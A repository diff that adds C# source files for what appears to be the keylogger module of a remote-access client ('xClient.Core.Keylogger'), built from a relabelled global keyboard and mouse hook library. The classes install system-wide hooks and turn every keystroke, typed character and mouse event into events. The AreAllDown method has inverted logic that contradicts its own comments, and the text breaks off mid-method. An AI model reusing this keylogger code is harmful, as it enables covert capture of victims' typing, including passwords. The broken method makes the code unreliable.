internal abstract class BaseListener : IDisposable
|
||||
{
|
||||
protected BaseListener(Subscribe subscribe)
|
||||
{
|
||||
Handle = subscribe(Callback);
|
||||
}
|
||||
|
||||
protected HookResult Handle { get; set; }
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Handle.Dispose();
|
||||
}
|
||||
|
||||
protected abstract bool Callback(CallbackData data);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class ButtonSet
|
||||
{
|
||||
private MouseButtons m_Set;
|
||||
|
||||
public ButtonSet()
|
||||
{
|
||||
m_Set = MouseButtons.None;
|
||||
}
|
||||
|
||||
public void Add(MouseButtons element)
|
||||
{
|
||||
m_Set |= element;
|
||||
}
|
||||
|
||||
public void Remove(MouseButtons element)
|
||||
{
|
||||
m_Set &= ~element;
|
||||
}
|
||||
|
||||
public bool Contains(MouseButtons element)
|
||||
{
|
||||
return (m_Set & element) != MouseButtons.None;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal delegate bool Callback(CallbackData data);
|
||||
}
|
|
@ -0,0 +1,114 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal abstract class EventFacade : IKeyboardMouseEvents
|
||||
{
|
||||
private KeyListener m_KeyListenerCache;
|
||||
private MouseListener m_MouseListenerCache;
|
||||
|
||||
public event KeyEventHandler KeyDown
|
||||
{
|
||||
add { GetKeyListener().KeyDown += value; }
|
||||
remove { GetKeyListener().KeyDown -= value; }
|
||||
}
|
||||
|
||||
public event KeyPressEventHandler KeyPress
|
||||
{
|
||||
add { GetKeyListener().KeyPress += value; }
|
||||
remove { GetKeyListener().KeyPress -= value; }
|
||||
}
|
||||
|
||||
public event KeyEventHandler KeyUp
|
||||
{
|
||||
add { GetKeyListener().KeyUp += value; }
|
||||
remove { GetKeyListener().KeyUp -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseMove
|
||||
{
|
||||
add { GetMouseListener().MouseMove += value; }
|
||||
remove { GetMouseListener().MouseMove -= value; }
|
||||
}
|
||||
|
||||
public event EventHandler<MouseEventExtArgs> MouseMoveExt
|
||||
{
|
||||
add { GetMouseListener().MouseMoveExt += value; }
|
||||
remove { GetMouseListener().MouseMoveExt -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseClick
|
||||
{
|
||||
add { GetMouseListener().MouseClick += value; }
|
||||
remove { GetMouseListener().MouseClick -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseDown
|
||||
{
|
||||
add { GetMouseListener().MouseDown += value; }
|
||||
remove { GetMouseListener().MouseDown -= value; }
|
||||
}
|
||||
|
||||
public event EventHandler<MouseEventExtArgs> MouseDownExt
|
||||
{
|
||||
add { GetMouseListener().MouseDownExt += value; }
|
||||
remove { GetMouseListener().MouseDownExt -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseUp
|
||||
{
|
||||
add { GetMouseListener().MouseUp += value; }
|
||||
remove { GetMouseListener().MouseUp -= value; }
|
||||
}
|
||||
|
||||
public event EventHandler<MouseEventExtArgs> MouseUpExt
|
||||
{
|
||||
add { GetMouseListener().MouseUpExt += value; }
|
||||
remove { GetMouseListener().MouseUpExt -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseWheel
|
||||
{
|
||||
add { GetMouseListener().MouseWheel += value; }
|
||||
remove { GetMouseListener().MouseWheel -= value; }
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseDoubleClick
|
||||
{
|
||||
add { GetMouseListener().MouseDoubleClick += value; }
|
||||
remove { GetMouseListener().MouseDoubleClick -= value; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (m_MouseListenerCache != null) m_MouseListenerCache.Dispose();
|
||||
if (m_KeyListenerCache != null) m_KeyListenerCache.Dispose();
|
||||
}
|
||||
|
||||
private KeyListener GetKeyListener()
|
||||
{
|
||||
var target = m_KeyListenerCache;
|
||||
if (target != null) return target;
|
||||
target = CreateKeyListener();
|
||||
m_KeyListenerCache = target;
|
||||
return target;
|
||||
}
|
||||
|
||||
private MouseListener GetMouseListener()
|
||||
{
|
||||
var target = m_MouseListenerCache;
|
||||
if (target != null) return target;
|
||||
target = CreateMouseListener();
|
||||
m_MouseListenerCache = target;
|
||||
return target;
|
||||
}
|
||||
|
||||
protected abstract MouseListener CreateMouseListener();
|
||||
protected abstract KeyListener CreateKeyListener();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,19 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class GlobalEventFacade : EventFacade
|
||||
{
|
||||
protected override MouseListener CreateMouseListener()
|
||||
{
|
||||
return new GlobalMouseListener();
|
||||
}
|
||||
|
||||
protected override KeyListener CreateKeyListener()
|
||||
{
|
||||
return new GlobalKeyListener();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Collections.Generic;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class GlobalKeyListener : KeyListener
|
||||
{
|
||||
public GlobalKeyListener()
|
||||
: base(HookHelper.HookGlobalKeyboard)
|
||||
{
|
||||
}
|
||||
|
||||
protected override IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data)
|
||||
{
|
||||
return KeyPressEventArgsExt.FromRawDataGlobal(data);
|
||||
}
|
||||
|
||||
protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data)
|
||||
{
|
||||
return KeyEventArgsExt.FromRawDataGlobal(data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,73 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal class GlobalMouseListener : MouseListener
|
||||
{
|
||||
private readonly int m_SystemDoubleClickTime;
|
||||
private MouseButtons m_PreviousClicked;
|
||||
private Point m_PreviousClickedPosition;
|
||||
private int m_PreviousClickedTime;
|
||||
|
||||
public GlobalMouseListener()
|
||||
: base(HookHelper.HookGlobalMouse)
|
||||
{
|
||||
m_SystemDoubleClickTime = MouseNativeMethods.GetDoubleClickTime();
|
||||
}
|
||||
|
||||
protected override void ProcessDown(ref MouseEventExtArgs e)
|
||||
{
|
||||
if (IsDoubleClick(e))
|
||||
{
|
||||
e = e.ToDoubleClickEventArgs();
|
||||
}
|
||||
base.ProcessDown(ref e);
|
||||
}
|
||||
|
||||
protected override void ProcessUp(ref MouseEventExtArgs e)
|
||||
{
|
||||
base.ProcessUp(ref e);
|
||||
if (e.Clicks == 2)
|
||||
{
|
||||
StopDoubleClickWaiting();
|
||||
}
|
||||
|
||||
if (e.Clicks == 1)
|
||||
{
|
||||
StartDoubleClickWaiting(e);
|
||||
}
|
||||
}
|
||||
|
||||
private void StartDoubleClickWaiting(MouseEventExtArgs e)
|
||||
{
|
||||
m_PreviousClicked = e.Button;
|
||||
m_PreviousClickedTime = e.Timestamp;
|
||||
m_PreviousClickedPosition = e.Point;
|
||||
}
|
||||
|
||||
private void StopDoubleClickWaiting()
|
||||
{
|
||||
m_PreviousClicked = MouseButtons.None;
|
||||
m_PreviousClickedTime = 0;
|
||||
m_PreviousClickedPosition = new Point(0, 0);
|
||||
}
|
||||
|
||||
private bool IsDoubleClick(MouseEventExtArgs e)
|
||||
{
|
||||
return
|
||||
e.Button == m_PreviousClicked &&
|
||||
e.Point == m_PreviousClickedPosition && // Click-move-click exception, see Patch 11222
|
||||
e.Timestamp - m_PreviousClickedTime <= m_SystemDoubleClickTime;
|
||||
}
|
||||
|
||||
protected override MouseEventExtArgs GetEventArgs(CallbackData data)
|
||||
{
|
||||
return MouseEventExtArgs.FromRawDataGlobal(data);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,71 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal abstract class KeyListener : BaseListener, IKeyboardEvents
|
||||
{
|
||||
protected KeyListener(Subscribe subscribe)
|
||||
: base(subscribe)
|
||||
{
|
||||
}
|
||||
|
||||
public event KeyEventHandler KeyDown;
|
||||
public event KeyPressEventHandler KeyPress;
|
||||
public event KeyEventHandler KeyUp;
|
||||
|
||||
public void InvokeKeyDown(KeyEventArgsExt e)
|
||||
{
|
||||
var handler = KeyDown;
|
||||
if (handler == null || e.Handled || !e.IsKeyDown)
|
||||
{
|
||||
return;
|
||||
}
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
public void InvokeKeyPress(KeyPressEventArgsExt e)
|
||||
{
|
||||
var handler = KeyPress;
|
||||
if (handler == null || e.Handled || e.IsNonChar)
|
||||
{
|
||||
return;
|
||||
}
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
public void InvokeKeyUp(KeyEventArgsExt e)
|
||||
{
|
||||
var handler = KeyUp;
|
||||
if (handler == null || e.Handled || !e.IsKeyUp)
|
||||
{
|
||||
return;
|
||||
}
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
protected override bool Callback(CallbackData data)
|
||||
{
|
||||
var eDownUp = GetDownUpEventArgs(data);
|
||||
var pressEventArgs = GetPressEventArgs(data);
|
||||
|
||||
InvokeKeyDown(eDownUp);
|
||||
foreach (var pressEventArg in pressEventArgs)
|
||||
{
|
||||
InvokeKeyPress(pressEventArg);
|
||||
}
|
||||
|
||||
InvokeKeyUp(eDownUp);
|
||||
|
||||
return !eDownUp.Handled;
|
||||
}
|
||||
|
||||
protected abstract IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data);
|
||||
protected abstract KeyEventArgsExt GetDownUpEventArgs(CallbackData data);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,111 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
/// <summary>
|
||||
/// Contains a snapshot of a keyboard state at certain moment and provides methods
|
||||
/// of querying whether specific keys are pressed or locked.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This class is basically a managed wrapper of GetKeyboardState API function
|
||||
/// http://msdn.microsoft.com/en-us/library/ms646299
|
||||
/// </remarks>
|
||||
internal class KeyboardState
|
||||
{
|
||||
private readonly byte[] m_KeyboardStateNative;
|
||||
|
||||
private KeyboardState(byte[] keyboardStateNative)
|
||||
{
|
||||
m_KeyboardStateNative = keyboardStateNative;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Makes a snapshot of a keyboard state to the moment of call and returns an
|
||||
/// instance of <see cref="KeyboardState" /> class.
|
||||
/// </summary>
|
||||
/// <returns>An instance of <see cref="KeyboardState" /> class representing a snapshot of keyboard state at certain moment.</returns>
|
||||
public static KeyboardState GetCurrent()
|
||||
{
|
||||
byte[] keyboardStateNative = new byte[256];
|
||||
KeyboardNativeMethods.GetKeyboardState(keyboardStateNative);
|
||||
return new KeyboardState(keyboardStateNative);
|
||||
}
|
||||
|
||||
internal byte[] GetNativeState()
|
||||
{
|
||||
return m_KeyboardStateNative;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether specified key was down at the moment when snapshot was created or not.
|
||||
/// </summary>
|
||||
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
|
||||
/// <returns><b>true</b> if key was down, <b>false</b> - if key was up.</returns>
|
||||
public bool IsDown(Keys key)
|
||||
{
|
||||
byte keyState = GetKeyState(key);
|
||||
bool isDown = GetHighBit(keyState);
|
||||
return isDown;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicate weather specified key was toggled at the moment when snapshot was created or not.
|
||||
/// </summary>
|
||||
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
|
||||
/// <returns>
|
||||
/// <b>true</b> if toggle key like (CapsLock, NumLocke, etc.) was on. <b>false</b> if it was off.
|
||||
/// Ordinal (non toggle) keys return always false.
|
||||
/// </returns>
|
||||
public bool IsToggled(Keys key)
|
||||
{
|
||||
byte keyState = GetKeyState(key);
|
||||
bool isToggled = GetLowBit(keyState);
|
||||
return isToggled;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates weather every of specified keys were down at the moment when snapshot was created.
|
||||
/// The method returns false if even one of them was up.
|
||||
/// </summary>
|
||||
/// <param name="keys">Keys to verify whether they were down or not.</param>
|
||||
/// <returns><b>true</b> - all were down. <b>false</b> - at least one was up.</returns>
|
||||
public bool AreAllDown(IEnumerable<Keys> keys)
|
||||
{
|
||||
foreach (Keys key in keys)
|
||||
{
|
||||
if (!IsDown(key))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private byte GetKeyState(Keys key)
|
||||
{
|
||||
int virtualKeyCode = (int) key;
|
||||
if (virtualKeyCode < 0 || virtualKeyCode > 255)
|
||||
{
|
||||
throw new ArgumentOutOfRangeException("key", key, "The value must be between 0 and 255.");
|
||||
}
|
||||
return m_KeyboardStateNative[virtualKeyCode];
|
||||
}
|
||||
|
||||
private static bool GetHighBit(byte value)
|
||||
{
|
||||
return (value >> 7) != 0;
|
||||
}
|
||||
|
||||
private static bool GetLowBit(byte value)
|
||||
{
|
||||
return (value & 1) != 0;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,179 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal abstract class MouseListener : BaseListener, IMouseEvents
|
||||
{
|
||||
private readonly ButtonSet m_DoubleDown;
|
||||
private readonly ButtonSet m_SingleDown;
|
||||
private Point m_PreviousPosition;
|
||||
|
||||
protected MouseListener(Subscribe subscribe)
|
||||
: base(subscribe)
|
||||
{
|
||||
m_PreviousPosition = new Point(-1, -1);
|
||||
m_DoubleDown = new ButtonSet();
|
||||
m_SingleDown = new ButtonSet();
|
||||
}
|
||||
|
||||
protected override bool Callback(CallbackData data)
|
||||
{
|
||||
var e = GetEventArgs(data);
|
||||
|
||||
if (e.IsMouseKeyDown)
|
||||
{
|
||||
ProcessDown(ref e);
|
||||
}
|
||||
|
||||
if (e.IsMouseKeyUp)
|
||||
{
|
||||
ProcessUp(ref e);
|
||||
}
|
||||
|
||||
if (e.WheelScrolled)
|
||||
{
|
||||
ProcessWheel(ref e);
|
||||
}
|
||||
|
||||
if (HasMoved(e.Point))
|
||||
{
|
||||
ProcessMove(ref e);
|
||||
}
|
||||
|
||||
return !e.Handled;
|
||||
}
|
||||
|
||||
protected abstract MouseEventExtArgs GetEventArgs(CallbackData data);
|
||||
|
||||
protected virtual void ProcessWheel(ref MouseEventExtArgs e)
|
||||
{
|
||||
OnWheel(e);
|
||||
}
|
||||
|
||||
protected virtual void ProcessDown(ref MouseEventExtArgs e)
|
||||
{
|
||||
OnDown(e);
|
||||
OnDownExt(e);
|
||||
if (e.Handled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.Clicks == 2)
|
||||
{
|
||||
m_DoubleDown.Add(e.Button);
|
||||
}
|
||||
|
||||
if (e.Clicks == 1)
|
||||
{
|
||||
m_SingleDown.Add(e.Button);
|
||||
}
|
||||
}
|
||||
|
||||
protected virtual void ProcessUp(ref MouseEventExtArgs e)
|
||||
{
|
||||
if (m_SingleDown.Contains(e.Button))
|
||||
{
|
||||
OnUp(e);
|
||||
OnUpExt(e);
|
||||
if (e.Handled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
OnClick(e);
|
||||
m_SingleDown.Remove(e.Button);
|
||||
}
|
||||
|
||||
if (m_DoubleDown.Contains(e.Button))
|
||||
{
|
||||
e = e.ToDoubleClickEventArgs();
|
||||
OnUp(e);
|
||||
OnDoubleClick(e);
|
||||
m_DoubleDown.Remove(e.Button);
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessMove(ref MouseEventExtArgs e)
|
||||
{
|
||||
m_PreviousPosition = e.Point;
|
||||
|
||||
OnMove(e);
|
||||
OnMoveExt(e);
|
||||
}
|
||||
|
||||
private bool HasMoved(Point actualPoint)
|
||||
{
|
||||
return m_PreviousPosition != actualPoint;
|
||||
}
|
||||
|
||||
public event MouseEventHandler MouseMove;
|
||||
public event EventHandler<MouseEventExtArgs> MouseMoveExt;
|
||||
public event MouseEventHandler MouseClick;
|
||||
public event MouseEventHandler MouseDown;
|
||||
public event EventHandler<MouseEventExtArgs> MouseDownExt;
|
||||
public event MouseEventHandler MouseUp;
|
||||
public event EventHandler<MouseEventExtArgs> MouseUpExt;
|
||||
public event MouseEventHandler MouseWheel;
|
||||
public event MouseEventHandler MouseDoubleClick;
|
||||
|
||||
protected virtual void OnMove(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseMove;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnMoveExt(MouseEventExtArgs e)
|
||||
{
|
||||
var handler = MouseMoveExt;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnClick(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseClick;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnDown(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseDown;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnDownExt(MouseEventExtArgs e)
|
||||
{
|
||||
var handler = MouseDownExt;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnUp(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseUp;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnUpExt(MouseEventExtArgs e)
|
||||
{
|
||||
var handler = MouseUpExt;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnWheel(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseWheel;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
|
||||
protected virtual void OnDoubleClick(MouseEventArgs e)
|
||||
{
|
||||
var handler = MouseDoubleClick;
|
||||
if (handler != null) handler(this, e);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger.Implementation
|
||||
{
|
||||
internal delegate HookResult Subscribe(Callback callbck);
|
||||
}
|
|
@ -0,0 +1,128 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extended argument data for the <see cref='KeyListener.KeyDown' /> or
|
||||
/// <see cref='KeyListener.KeyUp' /> event.
|
||||
/// </summary>
|
||||
public class KeyEventArgsExt : KeyEventArgs
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="KeyEventArgsExt" /> class.
|
||||
/// </summary>
|
||||
/// <param name="keyData"></param>
|
||||
public KeyEventArgsExt(Keys keyData)
|
||||
: base(keyData)
|
||||
{
|
||||
}
|
||||
|
||||
internal KeyEventArgsExt(Keys keyData, int timestamp, bool isKeyDown, bool isKeyUp)
|
||||
: this(keyData)
|
||||
{
|
||||
Timestamp = timestamp;
|
||||
IsKeyDown = isKeyDown;
|
||||
IsKeyUp = isKeyUp;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The system tick count of when the event occurred.
|
||||
/// </summary>
|
||||
public int Timestamp { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// True if event signals key down..
|
||||
/// </summary>
|
||||
public bool IsKeyDown { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// True if event signals key up.
|
||||
/// </summary>
|
||||
public bool IsKeyUp { get; private set; }
|
||||
|
||||
internal static KeyEventArgsExt FromRawDataApp(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
|
||||
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
|
||||
|
||||
const uint maskKeydown = 0x40000000; // for bit 30
|
||||
const uint maskKeyup = 0x80000000; // for bit 31
|
||||
|
||||
int timestamp = Environment.TickCount;
|
||||
|
||||
var flags = (uint) lParam.ToInt64();
|
||||
|
||||
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
|
||||
bool wasKeyDown = (flags & maskKeydown) > 0;
|
||||
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
|
||||
bool isKeyReleased = (flags & maskKeyup) > 0;
|
||||
|
||||
Keys keyData = AppendModifierStates((Keys) wParam);
|
||||
|
||||
bool isKeyDown = !wasKeyDown && !isKeyReleased;
|
||||
bool isKeyUp = wasKeyDown && isKeyReleased;
|
||||
|
||||
return new KeyEventArgsExt(keyData, timestamp, isKeyDown, isKeyUp);
|
||||
}
|
||||
|
||||
internal static KeyEventArgsExt FromRawDataGlobal(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
var keyboardHookStruct =
|
||||
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
|
||||
var keyData = AppendModifierStates((Keys) keyboardHookStruct.VirtualKeyCode);
|
||||
|
||||
var keyCode = (int) wParam;
|
||||
bool isKeyDown = (keyCode == Messages.WM_KEYDOWN || keyCode == Messages.WM_SYSKEYDOWN);
|
||||
bool isKeyUp = (keyCode == Messages.WM_KEYUP || keyCode == Messages.WM_SYSKEYUP);
|
||||
|
||||
return new KeyEventArgsExt(keyData, keyboardHookStruct.Time, isKeyDown, isKeyUp);
|
||||
}
|
||||
|
||||
// # It is not possible to distinguish Keys.LControlKey and Keys.RControlKey when they are modifiers
|
||||
// Check for Keys.Control instead
|
||||
// Same for Shift and Alt(Menu)
|
||||
// See more at http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework.windowsforms/2008-04/msg00127.html #
|
||||
|
||||
// A shortcut to make life easier
|
||||
private static bool CheckModifier(int vKey)
|
||||
{
|
||||
return (KeyboardNativeMethods.GetKeyState(vKey) & 0x8000) > 0;
|
||||
}
|
||||
|
||||
private static Keys AppendModifierStates(Keys keyData)
|
||||
{
|
||||
// Is Control being held down?
|
||||
bool control = CheckModifier(KeyboardNativeMethods.VK_CONTROL);
|
||||
// Is Shift being held down?
|
||||
bool shift = CheckModifier(KeyboardNativeMethods.VK_SHIFT);
|
||||
// Is Alt being held down?
|
||||
bool alt = CheckModifier(KeyboardNativeMethods.VK_MENU);
|
||||
|
||||
// Windows keys
|
||||
// # combine LWin and RWin key with other keys will potentially corrupt the data
|
||||
// notable F5 | Keys.LWin == F12, see https://globalmousekeyhook.codeplex.com/workitem/1188
|
||||
// and the KeyEventArgs.KeyData don't recognize combined data either
|
||||
|
||||
// Function (Fn) key
|
||||
// # CANNOT determine state due to conversion inside keyboard
|
||||
// See http://en.wikipedia.org/wiki/Fn_key#Technical_details #
|
||||
|
||||
return keyData |
|
||||
(control ? Keys.Control : Keys.None) |
|
||||
(shift ? Keys.Shift : Keys.None) |
|
||||
(alt ? Keys.Alt : Keys.None);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
using xClient.Core.Keylogger.WinApi;
|
||||
|
||||
namespace xClient.Core.Keylogger
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides extended data for the <see cref='KeyListener.KeyPress' /> event.
|
||||
/// </summary>
|
||||
public class KeyPressEventArgsExt : KeyPressEventArgs
|
||||
{
|
||||
internal KeyPressEventArgsExt(char keyChar, int timestamp)
|
||||
: base(keyChar)
|
||||
{
|
||||
IsNonChar = keyChar == (char) 0x0;
|
||||
Timestamp = timestamp;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref='KeyPressEventArgsExt' /> class.
|
||||
/// </summary>
|
||||
/// <param name="keyChar">
|
||||
/// Character corresponding to the key pressed. 0 char if represents a system or functional non char
|
||||
/// key.
|
||||
/// </param>
|
||||
public KeyPressEventArgsExt(char keyChar)
|
||||
: this(keyChar, Environment.TickCount)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True if represents a system or functional non char key.
|
||||
/// </summary>
|
||||
public bool IsNonChar { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// The system tick count of when the event occurred.
|
||||
/// </summary>
|
||||
public int Timestamp { get; private set; }
|
||||
|
||||
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataApp(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
|
||||
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
|
||||
|
||||
const uint maskKeydown = 0x40000000; // for bit 30
|
||||
const uint maskKeyup = 0x80000000; // for bit 31
|
||||
const uint maskScanCode = 0xff0000; // for bit 23-16
|
||||
|
||||
var flags = (uint) lParam.ToInt64();
|
||||
|
||||
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
|
||||
var wasKeyDown = (flags & maskKeydown) > 0;
|
||||
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
|
||||
var isKeyReleased = (flags & maskKeyup) > 0;
|
||||
|
||||
if (!wasKeyDown && !isKeyReleased)
|
||||
{
|
||||
yield break;
|
||||
}
|
||||
|
||||
var virtualKeyCode = (int) wParam;
|
||||
var scanCode = checked((int) (flags & maskScanCode));
|
||||
const int fuState = 0;
|
||||
|
||||
char[] chars;
|
||||
|
||||
var isOk =
|
||||
KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
|
||||
if (!isOk) yield break;
|
||||
foreach (var ch in chars)
|
||||
{
|
||||
yield return new KeyPressEventArgsExt(ch);
|
||||
}
|
||||
}
|
||||
|
||||
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataGlobal(CallbackData data)
|
||||
{
|
||||
var wParam = data.WParam;
|
||||
var lParam = data.LParam;
|
||||
|
||||
if ((int) wParam != Messages.WM_KEYDOWN)
|
||||
{
|
||||
yield break;
|
||||
}
|
||||
|
||||
KeyboardHookStruct keyboardHookStruct =
|
||||
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
|
||||
|
||||
var virtualKeyCode = keyboardHookStruct.VirtualKeyCode;
|
||||
var scanCode = keyboardHookStruct.ScanCode;
|
||||
var fuState = keyboardHookStruct.Flags;
|
||||
|
||||
if (virtualKeyCode == KeyboardNativeMethods.VK_PACKET)
|
||||
{
|
||||
var ch = (char) scanCode;
|
||||
yield return new KeyPressEventArgsExt(ch, keyboardHookStruct.Time);
|
||||
}
|
||||
else
|
||||
{
|
||||
char[] chars;
|
||||
var isOk =
|
||||
